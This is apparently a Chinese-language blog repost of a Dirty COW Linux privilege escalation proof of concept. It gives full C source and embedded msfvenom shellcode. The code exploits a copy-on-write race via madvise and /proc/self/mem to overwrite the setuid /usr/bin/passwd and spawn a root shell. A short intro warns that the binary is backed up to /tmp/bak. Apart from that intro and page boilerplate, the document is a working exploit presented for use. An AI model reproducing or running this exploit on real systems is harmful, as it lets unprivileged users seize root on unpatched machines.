來源：https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

編譯運行以下代碼成功后會把/usr/bin/passwd移動到/tmp/bak, 如果不改回去開機可能有問題

/* * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) * * @robinverton */#include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <unistd.h>void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3;// change if no permissions to read char suid_binary[] = "/usr/bin/passwd";/* * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177;/* * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i unsigned char sc[] = {0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,0x89, 0xe1, 0xcd, 0x80 }; unsigned int sc_len = 136; */void *madviseThread(void *arg) {char *str;str=(char*)arg;int i,c=0;for(i=0;i<1000000 && !stop;i++) {c+=madvise(map,100,MADV_DONTNEED);}printf("thread stopped\n"); }void *procselfmemThread(void *arg) {char *str;str=(char*)arg;int f=open("/proc/self/mem",O_RDWR);int i,c=0;for(i=0;i<1000000 && !stop;i++) {lseek(f,map,SEEK_SET);c+=write(f, str, sc_len);}printf("thread stopped\n"); }void *waitForWrite(void *arg) {char buf[sc_len];for(;;) {FILE *fp = fopen(suid_binary, "rb");fread(buf, sc_len, 1, fp);if(memcmp(buf, sc, sc_len) == 0) {printf("%s overwritten\n", suid_binary);break;}fclose(fp);sleep(1);}stop = 1;printf("Popping root shell.\n");printf("Don't forget to restore /tmp/bak\n");system(suid_binary); }int main(int argc,char *argv[]) {char *backup;printf("DirtyCow root privilege escalation\n");printf("Backing up %s to /tmp/bak\n", suid_binary);asprintf(&backup, "cp %s /tmp/bak", suid_binary);system(backup);f = open(suid_binary,O_RDONLY);fstat(f,&st);printf("Size of binary: %d\n", st.st_size);char payload[st.st_size];memset(payload, 0x90, st.st_size);memcpy(payload, sc, sc_len+1);map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);printf("Racing, this may take a while..\n");pthread_create(&pth1, NULL, &madviseThread, suid_binary);pthread_create(&pth2, NULL, &procselfmemThread, payload);pthread_create(&pth3, NULL, &waitForWrite, NULL);pthread_join(pth3, NULL);return 0; }

總結(jié)

以上是生活随笔為你收集整理的LINUX的“脏奶牛”的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。